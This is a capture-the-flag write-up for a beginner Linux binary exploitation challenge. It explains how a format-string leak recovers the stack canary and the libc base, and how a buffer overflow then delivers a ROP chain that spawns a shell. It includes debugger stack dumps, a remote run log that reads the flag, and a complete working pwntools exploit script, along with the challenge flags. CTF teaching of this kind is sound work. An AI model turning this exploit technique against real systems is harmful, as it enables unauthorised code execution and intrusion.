Category: Pwn
Difficulty: Baby
Author: LiveOverflow
Dependencies: Intro to Pwning 1
This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.
Service running at: hax1.allesctf.net:9101
This is the writeup for the second part of the Intro to Pwning
series. This writeup depends on my writeup for Intro to Pwning 1
.
The code for the second part is the same as for the first part, except that we are now a Ravenclaw
and the program asks for the flag of the first part. But more important it has stack-protector enabled, this is the first mitigation I suggested.
With the preparation done in the last writeup the only thing that is needed is to leak the stack cookie and use that in the buffer-overflow.
We can again use telescope
to get the right offset.
00:0000│ rsp 0x7fff7a715648 —▸ 0x55c35c3e2ce8 ◂— nop 01:0008│ rdi 0x7fff7a715650 ◂— 'AAAA%45$p BBBB%39$p' 02:0010│ 0x7fff7a715658 ◂— 'p BBBB%39$p' 03:0018│ 0x7fff7a715660 ◂— 0x7d474100702439 /* '9$p' */ 04:0020│ 0x7fff7a715668 ◂— 0x0 ... ↓ 20:0100│ 0x7fff7a715748 ◂— 0x4a00000000000000 21:0108│ 0x7fff7a715750 —▸ 0x7fff7a715860 ◂— 0x1 22:0110│ 0x7fff7a715758 ◂— 0x4a1d60d2b9051500 23:0118│ rbp 0x7fff7a715760 —▸ 0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push r15 24:0120│ 0x7fff7a715768 —▸ 0x55c35c3e2dc5 ◂— mov eax, 0 25:0128│ 0x7fff7a715770 —▸ 0x7fff7a715868 —▸ 0x7fff7a717824 ◂— '/ctf/pwn2' 26:0130│ 0x7fff7a715778 ◂— 0x100000000 27:0138│ 0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push r15 28:0140│ 0x7fff7a715788 —▸ 0x7f352ea90b97 (__libc_start_main+231) ◂— mov edi, eax
The stack cookie is the random looking thing (22)
We can leak it like we leak __libc_start_main+231
Our payload should be something like %45$p %39$p
the first one will leak __libc_start_main+231
(0x05+0x28=45
) and the second one will leak the stack cookie (0x05+0x22=39
)
With minimal changes to the exploit of Intro to Pwning 1
the exploit just works.
Caution: The flag in the C code does not match the flag in the binary, use strings
to get it
$ ./rop remote [*] '/ctf/pwn2' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to hax1.allesctf.net on port 9101 [x] Opening connection to hax1.allesctf.net on port 9101: Trying 147.75.85.99 [+] Opening connection to hax1.allesctf.net on port 9101: Done [*] '/ctf/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] __libc_start_main+243: 0x7efd9b95d1e3 [+] Libc base address: 0x7efd9b936000 [+] stack canary: 0x682a994c66320e00 [*] Loaded 195 cached gadgets for 'libc.so' [*] Switching to interactive mode ~ Protego! $ ls flag pwn2 ynetd $ cat flag CSCG{NOW_GET_VOLDEMORT} $ exit [*] Got EOF while reading in interactive [*] Interrupted
#!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9101' app_path = os.getcwd()+'/pwn2' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) lib = "/lib/x86_64-linux-gnu/libc.so.6" else: p = remote(vuln_host,vuln_port) lib = "libc.so" libc = ELF(lib) def nop_libc(): rop = ROP(libc) rop.raw(rop.search(regs=[], order = 'regs')[0]) return rop.chain() def leak_libc_start_main(addr): code = libc.disasm(libc.symbols['__libc_start_main'],0x500) r = re.findall(r".*call.*rax.*",code) if len(r)>0: offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax')) log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak))) libc.address = leak -offset return log.error("failed to leak libc, can't calculate base address") exit(1) def shell_system(): rop = ROP(libc) rop.raw(rop.find_gadget(['pop rdi','ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.call(libc.symbols['system']) log.debug("Shell chain: \n" + white(rop.dump())) return rop.chain() #PWN if lo: p.sendlineafter(":\n",r"CSCG{THIS_IS_TEST_FLAG}") else: p.sendlineafter(":\n",r"CSCG{NOW_PRACTICE_MORE}") if buffer_overflow: p.sendlineafter(":",b"A") p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) #we will hit the stack protector, but the padding hasn't changed anyway p.sendlineafter(":\n",b"AAAA%45$p BBBB%39$p") p.readuntil("AAAA") leak = int(p.readuntil(" ").rstrip(),16) leak_libc_start_main(leak) log.success("Libc base address: " + green(hex(libc.address))) p.readuntil("BBBB") leak = int(p.readuntil(" ").rstrip(),16) log.success("stack canary: " + green(hex(leak))) padding = cyclic_find(0x61616e63) p.sendlineafter(":",b"Expelliarmus\x00"+b"B"*padding+p64(leak)+nop_libc()+nop_libc()+shell_system()) p.interactive()
read
to prevent buffer overflowsputs
or printf("%s",data)
CSCG{NOW_GET_VOLDEMORT}